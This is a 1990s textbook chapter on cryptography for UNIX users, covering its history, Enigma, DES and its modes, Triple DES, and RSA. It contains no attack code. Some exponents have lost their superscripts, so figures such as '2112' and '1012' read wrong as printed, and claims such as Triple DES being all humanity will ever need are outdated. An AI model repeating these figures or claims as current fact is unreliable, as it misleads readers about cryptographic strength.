A Brief History of Cryptography
What Is Encryption?
The Enigma Encryption System
Common Cryptographic Algorithms
Message Digests and Digital Signatures
Encryption Programs Available for UNIX
Encryption and U.S. Law

Cryptography is the science and art of secret writing - keeping information secret.[1] When applied in a computing environment, cryptography can protect data against unauthorized disclosure; it can authenticate the identity of a user or program requesting service; and it can disclose unauthorized tampering. In this chapter, we'll survey some of those uses, and present a brief summary of encryption methods that are often available in UNIX systems.

[1] Cryptanalysis is the related study of breaking ciphers. Cryptology is the combined study of cryptography and cryptanalysis.

Cryptography is an indispensable part of modern computer security.

6.1 A Brief History of Cryptography

Knowledge of cryptography can be traced back to ancient times. It's not difficult to understand why: as soon as three people had mastered the art of reading and writing, there was the possibility that two of them would want to send letters to each other that the third could not read.

In ancient Greece, the Spartan generals used a form of cryptography so that the generals could exchange secret messages: the messages were written on narrow ribbons of parchment that were wound spirally around a cylindrical staff called a scytale. After the ribbon was unwound, the writing on it could only be read by a person who had a matching cylinder of exactly the same size. This primitive system did a reasonably good job of protecting messages from interception and from the prying eyes of the message courier as well.

In modern times, cryptography's main role has been in securing electronic communications. Soon after Samuel F. B. Morse publicly demonstrated the telegraph in 1845, users of the telegraph began worrying about the confidentiality of the messages that were being transmitted. What would happen if somebody tapped the telegraph line? What would prevent unscrupulous telegraph operators from keeping a copy of the messages that they relayed and then divulging them to others? The answer was to encode the messages with a secret code, so that nobody but the intended recipient could decrypt them.

Cryptography became even more important with the invention of radio, and its use in war. Without cryptography, messages transmitted to or from the front lines could easily be intercepted by the enemy.

6.1.1 Code Making and Code Breaking

As long as there have been code makers, there have been code breakers. Indeed, the two have been locked in a competition for centuries, with each advance on one side being matched by counter-advances on the other.

For people who use codes, the code-breaking efforts of cryptanalysts pose a danger that is potentially larger than the danger of not using cryptography in the first place. Without cryptography, you might be reluctant to send sensitive information through the mail, across a telex, or by radio. But if you think that you have a secure channel of communication, then you might use it to transmit secrets that should not be widely revealed.

For this reason, cryptographers and organizations that use cryptography routinely conduct their own code-breaking efforts to make sure that their codes are resistant to attack. The findings of these self-inflicted intrusions are not always pleasant. The following brief story from a 1943 book on cryptography demonstrates this point quite nicely:

[T]he importance of the part played by cryptographers in military operations was demonstrated to us realistically in the First World War. One instructive incident occurred in September 1918, on the eve of the great offensive against Saint-Mihiel. A student cryptographer, fresh from Washington, arrived at United States Headquarters at the front. Promptly he threw the General Staff into a state of alarm by decrypting with comparative ease a secret radio message intercepted in the American sector.

The smashing of the German salient at Saint-Mihiel was one of the most gigantic tasks undertaken by the American forces during the war. For years that salient had stabbed into the Allied lines, cutting important railways and communication lines. Its lines of defense were thought to be virtually impregnable. But for several months the Americans had been making secret preparations for attacking it and wiping it out. The state was set, the minutest details of strategy had been determined - when the young officer of the United States Military Intelligence spread consternation through our General Staff.

The dismay at Headquarters was not caused by any new information about the strength of the enemy forces, but by the realization that the Germans must know as much about our secret plans as we did ourselves - even the exact hour set for the attack. The `intercepted' message had been from our own base. German cryptographers were as expert as any in the world, and what had been done by an American student cryptographer could surely have been done by German specialists.

The revelation was even more bitter because the cipher the young officer had broken, without any knowledge of the system, was considered absolutely safe and had long been used for most important and secret communications.[2]

[2] Smith, Laurence Dwight. Cryptography: The Science of Secret Writing. Dover Publications, New York, 1941.

6.1.2 Cryptography and Digital Computers

Modern digital computers are, in some senses, the creations of cryptography. Some of the first digital computers were built by the Allies to break messages that had been encrypted by the Germans with electromechanical encrypting machines. Code breaking is usually a much harder problem than code making; after the Germans switched codes, the Allies often took several months to discover the new coding systems. Nevertheless, the codes were broken, and many historians say that World War II was shortened by at least a year as a result.

Things really picked up when computers were turned to the task of code making. Before computers, all of cryptography was limited to two basic techniques: transposition, or rearranging the order of letters in a message (such as the Spartan's scytale), and substitution, or replacing one letter with another one. The most sophisticated pre-computer cipher used five or six transposition or substitution operations, but rarely more.

With the coming of computers, ciphers could be built from dozens, hundreds, or thousands of complex operations, and yet could still encrypt and decrypt messages in a short amount of time. Computers have also opened up the possibility of using complex algebraic operations to encrypt messages. All of these advantages have had a profound impact on cryptography.

6.1.3 Modern Controversy

In recent years, encryption has gone from being an arcane science and the stuff of James Bond movies, to being the subject of debate in several nations (but we'll focus on the case in the U.S. in the next few paragraphs). In the U.S. that debate is playing itself out on the front pages of newspapers such as The New York Times and the San Jose Mercury News.

On one side of the debate are a large number of computer professionals, civil libertarians, and perhaps a majority of the American public, who are rightly concerned about their privacy and the secrecy of their communications. These people want the right and the ability to protect their data with the most powerful encryption systems possible.

On the other side of the debate are the United States Government, members of the nation's law enforcement and intelligence communities, and (apparently) a small number of computer professionals, who argue that the use of cryptography should be limited because it can be used to hide illegal activities from authorized wiretaps and electronic searches.

MIT Professor Ronald Rivest has observed that the controversy over cryptography fundamentally boils down to one question:

Should the citizens of a country have the right to create and store documents which their government cannot read?[3]

[3] Rivest, Ronald, speaking before the MIT Telecommunications Forum, Spring 1994.

This chapter does not address this question. Nor do we attempt to explore the U.S. Government's[4] claimed need to eavesdrop on communications, the fear that civil rights activists have of governmental abuse, or other encryption policy issues. Although those are interesting and important questions - questions you should also be concerned with as a computer user - they are beyond the scope of this book. Instead, we focus on discussion of the types of encryption that are available to most UNIX users today and those that are likely to be available in the near future. If you are interested in the broader questions of who should have access to encryption, we suggest that you pursue some of the references listed in Appendix D, Paper Sources, starting with Building in Big Brother, edited by Professor Lance Hoffman.

[4] Or any other government!

A Note About Key Escrow

There has been considerable debate recently centering on the notion of key escrow. The usual context is during debate over the ability of private citizens to have access to strong cryptography. Many government officials and prominent scientists advocate a form of escrowed encryption as a good compromise between law enforcement needs and privacy concerns. In such schemes, a copy of the decryption key for each user is escrowed by one or more trusted parties, and is available if a warrant is issued for it.

Whatever your feelings are on the matter of law enforcement access to your decryption keys, consider escrowing your keys! By this, we do not mean making your keys available to the government. Rather, we mean placing a copy of your keys in a secure location where they can be retrieved if you or someone else needs them. You may pick a key so strong that you forget it a year from now. Or, you might develop amnesia, get food poisoning from a bad Twinkie, or get kidnapped by aliens to keep Elvis company. If any of these calamities befall you, how are your coworkers or family going to decrypt the vital records that you have encrypted?

We recommend that you deposit copies of your encryption keys and passwords in safe locations, such as a safe or safety deposit box. If you are uncomfortable about leaving the keys all in one place, there are algorithms with which you can split a key into several parts and deposit a part with each of several trusted parties. With key-splitting schemes, one or two parts by themselves are not enough to recreate the key, but a majority of them is enough to recover the key. Consult a good book on cryptography for details.

But do escrow your own keys!

Previous: 5.10 Summary | Practical UNIX & Internet Security | Next: 6.2 What Is Encryption?
5.10 Summary | Book Index | 6.2 What Is Encryption?


[Chapter 6] 6.2 What Is Encryption?

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 6.1 A Brief History of Cryptography Chapter 6
Cryptography 		Next: 6.3 The Enigma Encryption System

6.2 What Is Encryption?

Encryption is a process by which a message (called plaintext) is transformed into another message (called ciphertext) using a mathematical function[5] and a special encryption password, called the key.

[5] Although it may not be expressed as such in every case.

Decryption is the reverse process: the ciphertext is transformed back into the original plaintext using a mathematical function and a key.

Figure 6.1: A simple example of encryption

The process of encryption and decryption is shown in basic terms in Figure 6.1. Here is a simple piece of plaintext:

Encryption can make UNIX more secure.

This message can be encrypted with an encryption algorithm known as the Data Encryption Standard (DES), which we describe in a later section, and the key nosmis to produce the following encrypted message:[6]

[6] Encrypted messages are inherently binary data. Because of the limitations of paper, control characters are printed preceded by a caret (^), while characters with their most significant bit set are preceded by a M-.

M-itM-@g^B^?^B?^NM-XM-vZIM-U_h^X^$kM-^^sI^^M-f1M-^ZM-jM-gBM-6M->^@M-"=^M-^JM-7M--M-^T

When this message is decrypted with the key nosmis, the original message is produced:

Encryption can make UNIX more secure.

If you tried to decrypt the encrypted message with a different key, such as gandalf, you might get the following:

M-&u=:;M-X^G?M-MM-^MM-
                      M-,M-kM-^?M-R8M-}}pM-?^M^^M-l^ZM-IM-^U0M-D^KM-eM-
hM-yM-^M-^]M-mM-UM-^ZM-@^^N

Indeed, the only way to decrypt the encrypted message and get printable text is by knowing the secret key nosmis. If you don't know the key, and you don't have access to a supercomputer, you can't decrypt the text. If you use a strong encryption system, even the supercomputer won't help you.

6.2.1 What You Can Do with Encryption

Encryption can play a very important role in your day-to-day computing and communicating:

  • Encryption can protect information stored on your computer from unauthorized access - even from people who otherwise have access to your computer system.

  • Encryption can protect information while it is in transit from one computer system to another.

  • Encryption can be used to deter and detect accidental or intentional alterations in your data.

  • Encryption can be used to verify whether or not the author of a document is really who you think it is.

Despite these advantages, encryption has its limits:

  • Encryption can't prevent an attacker from deleting your data altogether.

  • An attacker can compromise the encryption program itself. The attacker might modify the program to use a key different from the one you provide, or might record all of the encryption keys in a special file for later retrieval.

  • An attacker might find a previously unknown and relatively easy way to decode messages encrypted with the algorithm you are using.

  • An attacker could access your file before it is encrypted or after it is decrypted.

For all these reasons, encryption should be viewed as a part of your overall computer security strategy, but not as a substitute for other measures such as proper access controls.

6.2.2 The Elements of Encryption

There are many different ways that you can use a computer to encrypt or decrypt information. Nevertheless, each of these so-called encryption systems share common elements:

Encryption algorithm

The encryption algorithm is the function, usually with some mathematical foundations, which performs the task of encrypting and decrypting your data.

Encryption keys

Encryption keys are used by the encryption algorithm to determine how data is encrypted or decrypted. Keys are similar to computer passwords: when a piece of information is encrypted, you need to specify the correct key to access it again. But unlike a password program, an encryption program doesn't compare the key you provide with the key you originally used to encrypt the file, and grant you access if the two keys match. Instead, an encryption program uses your key to transform the ciphertext back into the plaintext. If you provide the correct key, you get back your original message. If you try to decrypt a file with the wrong key, you get garbage.[7]

[7] Of course, we are assuming that your original message wasn't garbage, too. Otherwise, everything you would decrypt would probably appear as garbage!

Key length

As with passwords, encryption keys have a predetermined length. Longer keys are more difficult for an attacker to guess than shorter ones because there are more of them to try in a brute-force attack. Different encryption systems allow you to use keys of different lengths; some allow you to use variable-length keys.

Plaintext

The information which you wish to encrypt.

Ciphertext

The information after it is encrypted.

6.2.3 Cryptographic Strength

Different forms of cryptography are not equal. Some systems are easily circumvented, or broken. Others are quite resistant to even the most determined attack. The ability of a cryptographic system to protect information from attack is called its strength. Strength depends on many factors, including:

  • The secrecy of the key.

  • The difficulty of guessing the key or trying out all possible keys (a key search). Longer keys are generally harder to guess or find.

  • The difficulty of inverting the encryption algorithm without knowing the encryption key (breaking the encryption algorithm).

  • The existence (or lack) of back doors, or additional ways by which an encrypted file can be decrypted more easily without knowing the key.

  • The ability to decrypt an entire encrypted message if you know the way that a portion of it decrypts (called a known text attack).

  • The properties of the plaintext and knowledge of those properties by an attacker. (For example, a cryptographic system may be vulnerable to attack if all messages encrypted with it begin or end with a known piece of plaintext. These kinds of regularities were used by the Allies to crack the German Enigma cipher during the Second World War.)

The goal in cryptographic design is to develop an algorithm that is so difficult to reverse without the key that it is at least roughly equivalent to the effort required to guess the key by trying possible solutions one at a time. We would like this property to hold even when the attacker knows something about the contents of the messages encrypted with the cipher. Some very sophisticated mathematics are involved in such design.

6.2.4 Why Use Encryption with UNIX?

You might wonder why you need encryption if you are already using an operating system similar to UNIX that has passwords and uses file permissions to control access to sensitive information. The answer to this question is a single word: the superuser.

A person with access to the UNIX superuser account can bypass all checks and permissions in the computer's filesystem. But there is one thing that the superuser cannot do: decrypt a file properly encrypted by a strong encryption algorithm without knowing the key.

The reason for this limitation is the very difference between computer security controls based on file permissions and passwords, and controls based on cryptography. When you protect information with the UNIX filesystem, the information that you are trying to protect resides on the computer "in the clear." It is still accessible to your system manager (or someone else with superuser access), to a malicious computer hacker who manages to find a fault with your computer's overall security, or even to a thief who steals your computer in the night. You simply can't ensure that the data on your computer will never fall into the wrong hands.

When you protect information with encryption, the information is protected by the secrecy of your key, the strength of the encryption algorithm, and the particular encryption implementation that you are using. Although your system manager (or someone who steals your computer) can access the encrypted file, they cannot decrypt the information stored inside that file.

Previous: 6.1 A Brief History of Cryptography | Practical UNIX & Internet Security | Next: 6.3 The Enigma Encryption System
6.1 A Brief History of Cryptography | Book Index | 6.3 The Enigma Encryption System


[Chapter 6] 6.3 The Enigma Encryption System

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 6.2 What Is Encryption? Chapter 6
Cryptography 		Next: 6.4 Common Cryptographic Algorithms

6.3 The Enigma Encryption System

To understand how some modern encryption programs work, consider the raison d'阾re for the birth of computers in the first place: the Enigma encryption device, used by the Germans during the Second World War. A photograph of an Enigma encryption device appears in Figure 6.2.

Figure 6.2: An Enigma machine (photo courtesy Smithsonian Institution)

Enigma was developed in the early 1900s in Germany by Arthur Scherbius and used throughout World War II. The Enigma encryption machine, illustrated in the photo, consisted of a battery, a push-button for every letter of the alphabet, a light for every letter of the alphabet, and a set of turnable discs called rotors. The Enigma machine was similar to a child's toy: pressing a button lit a different light. If you turned one of the rotors, the correspondence between buttons and lights changed.

The rotors were crucial to the machine's cryptographic abilities. Each rotor on the Enigma machine was similar to a sandwich, with 52 metal contacts on each side. Inside the rotors, shown schematically in Figure 6.3, were 52 wires, each wire connecting a pair of contacts, one on either side of the rotor. Instead of directly connecting the contacts on one side with those on the other side, the wires scrambled the order, so that, for example, contact #1 on the left might be connected with contact #15 on the right, and so on.

Figure 6.3: Diagram of an Enigma rotor

Enigma placed three of these rotors side by side. At the end of the row of rotors was a reflector, which sent the electrical signal back through the machine for a second pass. (Four rotors were used near the end of the war.) Half of the 52 contacts were connected with a push-button and the battery; the other half were connected with the lights. Each button closed a circuit, causing a light to brighten; however, precisely which light brightened depended on the positioning of the three rotors and the reflector.

To encrypt or decrypt a message, a German code clerk would set the rotors to a specific starting position - the key. For each letter, the code clerk would then press the button, write down which letter lit, and then advance the rotors. Because the rotors were advanced after every letter, the same letter appearing twice in the plaintext would usually be encrypted to two different letters in the ciphertext. Enigma was thus a substitution cipher with a different set of substitutions for each letter in the message; these kinds of ciphers are called polyalphabetic ciphers. The letter Z was used to represent a space; numbers were spelled out. Breaking an encrypted message without knowing the starting rotor position was a much more difficult task.

Previous: 6.2 What Is Encryption? | Practical UNIX & Internet Security | Next: 6.4 Common Cryptographic Algorithms
6.2 What Is Encryption? | Book Index | 6.4 Common Cryptographic Algorithms


[Chapter 6] 6.4 Common Cryptographic Algorithms

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 6.3 The Enigma Encryption System Chapter 6
Cryptography 		Next: 6.5 Message Digests and Digital Signatures

6.4 Common Cryptographic Algorithms

There are two basic kinds of encryption algorithms in use today:

  • Private key cryptography, which uses the same key to encrypt and decrypt the message. This type is also known as symmetric key cryptography.

  • Public key cryptography, which uses a public key to encrypt the message and a private key to decrypt it. The name public key comes from the fact that you can make the encryption key public without compromising the secrecy of the message or the decryption key. Public key systems are also known as asymmetric key cryptography.

Private key cryptography is most often used for protecting information stored on a computer's hard disk, or for encrypting information carried by a communications link between two different machines. Public key cryptography is most often used for creating digital signatures on data, such as electronic mail, to certify the data's origin and integrity.

This analysis gives rise to a third kind of system:

  • Hybrid public/private cryptosystems. In these systems, slower public key cryptography is used to exchange a random session key, which is then used as the basis of a private key algorithm. (A session key is used only for a single encryption session and is then discarded.) Nearly all practical public key cryptography implementations are actually hybrid systems.

6.4.1 Summary of Private Key Systems

The following list summarizes the private key systems in common use today.

ROT13

A simple cryptography algorithm which is used, among other things, to obscure the content of risqué jokes on various Usenet groups. The ROT13 encryption algorithm has no key, and it is not secure.

crypt

The original UNIX encryption program which is modeled on the German Enigma encryption machine. crypt uses a variable-length key. Some programs can automatically decrypt crypt-encrypted files without prior knowledge of the key or the plaintext. crypt is not secure. (This program should not be confused with the secure one-way crypt program that UNIX uses for encrypting passwords.)

DES

The Data Encryption Standard (DES), an encryption algorithm developed in the 1970s by the National Bureau of Standards and Technology (since renamed the National Institute of Standards and Technology, or NIST) and IBM. DES uses a 56-bit key.[8]

[8] Technically, we should refer to it as the DEA: Data Encryption Algorithm. Standard-conforming implementations are certified by NIST, and usually require a hardware implementation. However, nearly everyone refers to it as the DES, so we will too.

RC2

A block cipher originally developed by Ronald Rivest and kept as a trade secret by RSA Data Security. This algorithm was revealed by an anonymous Usenet posting in 1996 and appears to be reasonably strong (although there are some particular keys that are weak). RC2 is sold with an implementation that allows keys between 1 and 2048 bits. The RC2mail key length is often limited to 40 bits in software that is sold for export.[9]

[9] Unfortunately, a 40-bit key is vulnerable to a brute force attack.

RC4

A stream cipher originally developed by Ronald Rivest and kept as a trade secret by RSA Data Security. This algorithm was revealed by an anonymous Usenet posting in 1994 and appears to be reasonably strong (although there are some particular keys that are weak). RC4 is sold with an implementation that allows keys between 1 and 2048 bits. The RC4 key length is often limited to 40 bits in software that is sold for export.[10]

[10] Unfortunately, a 40-bit key is vulnerable to a brute force attack.

RC5

A block cipher developed by Ronald Rivest and published in 1994. RC5 allows a user-defined key length, data block size, and number of encryption rounds.

IDEA

The International Data Encryption Algorithm (IDEA), developed in Zurich, Switzerland by James L. Massey and Xuejia Lai and published in 1990. IDEA uses a 128-bit key, and is believed to be quite strong. IDEA is used by the popular program PGP (described later in this chapter) to encrypt files and electronic mail. Unfortunately,[11] wider use of IDEA may be hampered by a series of software patents on the algorithm which is currently held by Ascom-Tech AG, in Solothurn, Switzerland. Ascom-Tech supposedly will allow IDEA to be used royalty free in implementations of PGP outside the U.S., but concerned users should verify the terms with Ascom-Tech or their licensees directly.

[11] Although we are generally in favor of intellectual property protection, we are opposed to the concept of software patents, in part because they hinder the development and use of innovative software by individuals and small companies.

Skipjack

A classified (SECRET) algorithm developed by the National Security Agency (NSA). Reportedly, a Top Secret security clearance is required to see the algorithm's source code and design specifications. Skipjack is the algorithm used by the Clipper encryption chip. It uses an 80-bit key.

6.4.2 Summary of Public Key Systems

The following list summarizes the public key systems in common use today:

Diffie-Hellman

A system for exchanging cryptographic keys between active parties. Diffie-Hellman is not actually a method of encryption and decryption, but a method of developing and exchanging a shared private key over a public communications channel. In effect, the two parties agree to some common numerical values, and then each party creates a key. Mathematical transformations of the keys are exchanged. Each party can then calculate a third session key that cannot easily be derived by an attacker who knows both exchanged values.

Several versions of this protocol exist, involving a differing number of parties and different transformations. Particular care must be exercised in the choice of some of the numbers and calculations used or the exchange can be easily compromised. If you are interested, consult the references for all the gory details.

The Diffie-Hellman algorithm is frequently used as the basis for exchanging cryptographic keys for encrypting a communications link. The key may be any length, depending on the particular implementation used. Longer keys are generally more secure.

RSA

The well-known public key cryptography system developed by (then) MIT professors Ronald Rivest and Adi Shamir, and by USC professor Leonard Adleman. RSA can be used both for encrypting information and as the basis of a digital signature system. Digital signatures can be used to prove the authorship and authenticity of digital information. The key may be any length, depending on the particular implementation used. Longer keys are generally considered to be more secure.

ElGamal

Another algorithm based on exponentiation and modular arithmetic. ElGamal may be used for encryption and digital signatures in a manner similar to the RSA algorithm. Longer keys are generally considered to be more secure.

DSA

The Digital Signature Algorithm, developed by NSA and adopted as a Federal Information Processing Standard (FIPS) by NIST. Although the DSA key may be any length, only keys between 512 and 1024 bits are permitted under the FIPS. As specified, DSA can only be used for digital signatures, although it is possible to use DSA implementations for encryption as well. The DSA is sometimes referred to as the DSS, in the same manner as the DEA is usually referred to as the DES.

Table 6.1 lists all of the private and public key algorithms we've discussed

Table 6.1: Commonly Used Private and Public Key Cryptography Algorithms
Algorithm | Description
Private Key Algorithms:
ROT13 | Keyless text scrambler; very weak.
crypt | Variable key length stream cipher; very weak.[12]
DES | 56-bit block cipher; patented, but freely usable (but not exportable).
RC2 | Variable key length block cipher; proprietary.
RC4 | Variable key length stream cipher; proprietary.
RC5 | Variable key length block cipher; proprietary.
IDEA | 128-bit block cipher; patented.
Skipjack | 80-bit stream cipher; classified.
Public Key Algorithms:
Diffie-Hellman | Key exchange protocol; patented.
RSA | Public key encryption and digital signatures; patented
ElGamal | Public key encryption and digital signatures; patented.
DSA | Digital signatures only; patented.

[12] Actually, crypt is a fair cipher for files of length less than 1024 bytes. Its recurrence properties only surface when used on longer inputs, thus providing more information for decrypting.

.

The following sections provide some technical information about a few of the algorithms mentioned above. If you are only interested in using encryption, you can skip ahead to the section called "Encryption Programs Available for UNIX" later in this chapter.

6.4.3 ROT13: Great for Encoding Offensive Jokes

ROT13 is a simple substitution cipher[13] that is traditionally used for distributing potentially objectionable material on the Usenet, a worldwide bulletin board system. It is a variation on the Caesar Cipher - an encryption method used by Caesar's troops thousands of years ago. In the ROT13 cipher, each letter of the alphabet is replaced with a letter that is 13 letters further along in the alphabet (with A following Z). Letters encrypt as follows:

[13] Technically, it is an encoding scheme - the "rotation" is fixed, and it does a constant encoding from a fixed alphabet.

Plaintext | Ciphertext
A | N
B | O
. . . |
M | Z
N | A
. . . |
Z | M

ROT13 used to be the most widely used encryption system in the UNIX world. However, it is not secure at all. Many news and mail-reading programs automatically decrypt ROT13-encoded text with a single keystroke. Some people are known to be able to read ROT13 text without any machine assistance whatsoever.

For example, here is a ROT13 message:

Jung tbrf nebhaq, pbzrf nebhaq.

And here is how the message decrypts:

What goes around, comes around.

If you are not blessed with the ability to read ROT13 files without computer assistance, you can use the following command to either encrypt or decrypt files with the ROT13 algorithm:[14]

[14] On some versions of UNIX, you will need to remove the "[ ]" symbols.

% tr "[a-z][A-Z]" "[n-z][a-m][N-Z][A-M]" < filename

Needless to say, do not use ROT13 as a means of protecting your files! The only real use for this "encryption" method is the one to which it is put on the Usenet: to keep someone who does not want to be exposed to material (such as the answer to a riddle, a movie spoiler in a review, or an offensive joke) from reading it inadvertently.

6.4.4 DES

One of the most widely used encryption systems today is the Data Encryption Standard (DES), developed in the 1970s and patented by researchers at IBM. The DES was an outgrowth of another IBM cipher known as Lucifer. IBM made the DES available for public use, and the federal government issued Federal Information Processing Standard Publication (FIPS PUB) Number 46 in 1977 describing the system. Since that time, the DES has been periodically reviewed and reaffirmed (most recently in December 30, 1993), until 1998 as FIPS PUB 46-2. It has also been adopted as an American National Standard (X3.92-1981/R1987).

The DES performs a series of bit permutation, substitution, and recombination operations on blocks containing 64 bits of data and 56 bits of key (eight 7-bit characters). The 64 bits of input are permuted initially, and are then input to a function using static tables of permutations and substitutions (called S-boxes). The bits are permuted in combination with 48 bits of the key in each round. This process is iterated 16 times (rounds), each time with a different set of tables and different bits from the key. The algorithm then performs a final permutation, and 64 bits of output are provided. The algorithm is structured in such a way that changing any bit in the input has a major effect on almost all of the output bits. Indeed, the output of the DES function appears so unrelated to its input that the function is sometimes used as a random number generator.

Although there is no standard UNIX program that performs encryption using the DES, some vendors' versions of UNIX include a program called des which performs DES encryption. (This command may not be present in international versions of the operating system, as described in the next section.)

6.4.4.1 Use and export of DES

The DES was mandated as the encryption method to be used by all federal agencies in protecting sensitive but not classified information.[15] The DES is heavily used in many financial and communication exchanges. Many vendors make DES chips that can encode or decode information fast enough to be used in data-encrypting modems or network interfaces. Note that the DES is not (and has never been) certified as an encryption method that can be used with U.S. Department of Defense classified material.

[15] Other algorithms developed by the NSA are designed for use with classified information.

Export control rules restrict the export of hardware or software implementations of the DES, even though the algorithm has been widely published and implemented many times outside the United States. If you have the international version of UNIX, you may find that your system lacks a des command. If you find yourself in this position, don't worry; good implementations of the DES can be obtained via anonymous FTP from almost any archive service, including the Usenet comp.sources archives.

For more information about export of cryptography, see "Encryption and U.S. Law," later in this chapter.

6.4.4.2 DES modes

FIPS PUB 81 explains how the DES algorithm can be used in four modes:

  • Electronic Code Book (ECB)

  • Cipher Block Chaining (CBC)

  • Cipher Feedback (CFB)

  • Output Feedback (OFB)

Each mode has particular advantages in some circumstances, such as when transmitting text over a noisy channel, or when it is necessary to decrypt only a portion of a file. The following provides a brief discussion of these four methods; consult FIPS PUB 81 or a good textbook on cryptography for details.

  • ECB Mode. In electronic code book (ECB) mode, each block of the input is encrypted using the same key, and the output is written as a block. This method performs simple encryption of a message, a block at a time. This method may not indicate when portions of a message have been inserted or removed. It works well with noisy transmission channels - alteration of a few bits will corrupt only a single 64-bit block.

  • CBC Mode. In cipher block chaining (CBC) mode, the plaintext is first XOR'ed with the encrypted value of the previous block. Some known value (usually referred to as the initialization vector, or IV) is used for the first block. The result is then encrypted using the key. Unlike ECB mode, long runs of repeated characters in the plaintext will be masked in the output. CBC mode is the default mode for Sun Microsystems' des program.

  • CFB Mode. In cipher feedback (CFB) mode, the output is fed back into the mechanism. After each block is encrypted, part of it is shifted into a shift register. The contents of this shift register are encrypted with the user's key value using (effectively) ECB mode, and this output is XOR'd with the data stream to produce the encrypted result. This method is self synchronizing, and enables the user to decrypt only a portion of a large database by starting a fixed distance before the start of the desired data.

  • OFB Mode. In output feedback (OFB) mode, the output is also fed back into the mechanism. A register is initialized with some known value (again, the IV). This register is then encrypted with (effectively) ECB mode using the user's key. The result of this is used as the key to encrypt the data block (using an XOR operation), and it is also stored back into the register for use on the next block. The algorithm effectively generates a long stream of key bits that can be used to encrypt/decrypt communication streams, with good tolerance for small bit errors in the transmission. This mode is almost never used in UNIX-based systems.

All of these modes require that byte and block boundaries remain synchronized between the sender and recipient. If information is inserted or removed from the encrypted data stream, it is likely that all of the following data from the point of modification can be rendered unintelligible.

6.4.4.3 DES strength

Ever since DES was first proposed as a national standard, some people have been suspicious of the algorithm. DES was based on a proprietary encryption algorithm developed by IBM called Lucifer, which IBM had submitted to the National Bureau of Standards (NBS)[16] for consideration as a national cryptographic standard. But whereas Lucifer had a key that was 112 bits long, the DES key was shortened to 56 bits at the request of the National Security Agency. The NSA also requested that certain changes be made in the algorithm's S-boxes. Many people suspected that NSA had intentionally weakened the Lucifer algorithm, so the final standard adopted by NBS would not pose a threat to the NSA's ongoing intelligence collection activities. But nobody had any proof.

[16] NBS later became the National Institute of Standards and Technology.

Today the DES is more than 20 years old, and the algorithm is definitely showing its age. Recently Michael Weiner, a researcher at Bell Northern Research, published a paper detailing how to build a machine capable of decrypting messages encrypted with the DES by conducting an exhaustive key search. Such a machine could be built for a few million dollars, and could break any DES-encrypted message in about a day. We can reasonably assume that such machines have been built by both governments and private industry.

In June 1994, IBM published a paper describing the design criteria of the DES. The paper claims that the choices of the DES key size, S-boxes, and number of rounds were a direct result of the conflicting goals of making the DES simple enough to fit onto a single chip with 1972 chip-making technology, and the desire to make it resistant to differential cryptanalysis.

These two papers, coupled with many previously published analyses, appear to have finally settled a long-running controversy as to whether or not NSA had intentionally built in weaknesses to the DES. The NSA didn't build a back door into DES that would have allowed it to forcibly decrypt any DES-encrypted transmission: it didn't need to. Messages encrypted with DES can be forcibly decrypted simply by trying every possible key, given the appropriate hardware.

6.4.5 Improving the Security of DES

You can improve the security of DES by performing multiple encryptions, known as superencryption. The two most common ways of doing this are with double encryption (Double DES) and with triple encryption (Triple DES).

While double DES appears to add significant security, research has found some points of attack, and therefore experts recommend Triple DES for applications where single DES is not adequate.

6.4.5.1 Double DES

In Double DES, each 64-bit block of data is encrypted twice with the DES algorithm, first with one key, then with another, as follows:

  1. Encrypt with (key 1).

  2. Encrypt with (key 2).

Plaintext -> (key1) -> (key2) -> ciphertext

Double DES is not significantly more secure than single DES. In 1981, Ralph Merkle and Martin Hellman published an article[17] in which they outlined a so-called "meet-in-the-middle attack."

[17] R. C. Merkle and M. Hellman, "On the Security of Multiple Encryption," Communications of the ACM, Volume 24, Number 7, July 1981, pp. 465-467.

The meet-in-the-middle attack is a known plaintext attack which requires that an attacker have both a known piece of plaintext and a block of that same text that has been encrypted. (These pieces are surprisingly easily to get.) The attack requires storing 256 intermediate results when trying to crack a message that has been encrypted with DES (a total of 259 bytes), but it reduces the number of different keys you need to check from 2112 to 257. "This is still considerably more memory storage than one could comfortably comprehend, but it's enough to convince the most paranoid of cryptographers that double encryption is not worth anything," writes Bruce Schneier in his landmark volume, Applied Cryptography.

In other words, because a message encrypted with DES can be forcibly decrypted by an attacker performing an exhaustive key search today, an attacker might also be able to forcibly decrypt a message encrypted with Double DES using a meet-in-the-middle attack at some point in the future.

6.4.5.2 Triple DES

The dangers of the Merkle-Hellman meet-in-the-middle attack can be circumvented by performing three block encryption operations. This method is called Triple DES.

In practice, the most common way to perform Triple DES is:

  1. Encrypt with (key1).

  2. Decrypt with (key2).

  3. Encrypt with (key3).

The advantage of this technique is that it can be backward compatible with single DES, simply by setting all three keys to be the same value.

To decrypt, reverse the steps:

  1. Decrypt with (key3).

  2. Encrypt with (key2).

  3. Decrypt with (key1).

For many applications, you can use the same key for both key1 and key3 without creating a significant vulnerability.

Triple DES appears to be roughly as secure as single DES would be if it had a 112-bit key. How secure is this really? Suppose you had an integrated circuit which could perform one million Triple DES encryptions per second, and you built a massive computer containing one million of these chips to forcibly try all Triple DES keys. This computer, capable of testing 1012 encryptions per second, would require:

2112 = 5.19 x 1033 encryption operations

5.19 x 1033 encryption operations / 1012 operations/sec = 5.19 x 1021 sec

= 1.65 x 1014 years.

This is more than 16,453 times older than the currently estimated age of the universe (approximately 1010 years).

Apparently, barring new discoveries uncovering fundamental flaws or weaknesses with the DES algorithm, or new breakthroughs in the field of cryptanalysis, Triple DES is the most secure private key encryption algorithm that humanity will ever need (although niche opportunities may exist for faster algorithms).

6.4.6 RSA and Public Key Cryptography

RSA is the most widely known algorithm for performing public key cryptography. The algorithm is named after its inventors, Ronald Rivest, Adi Shamir, and Leonard Adleman, who made their discovery in the spring of 1977.

Unlike DES, which uses a single key, RSA uses two cryptographic keys: a public key and a secret key. The public key is used to encrypt a message and the secret key is used to decrypt it. (The system can also be run in reverse, using the secret key to encrypt data that can be decrypted with the public key.)

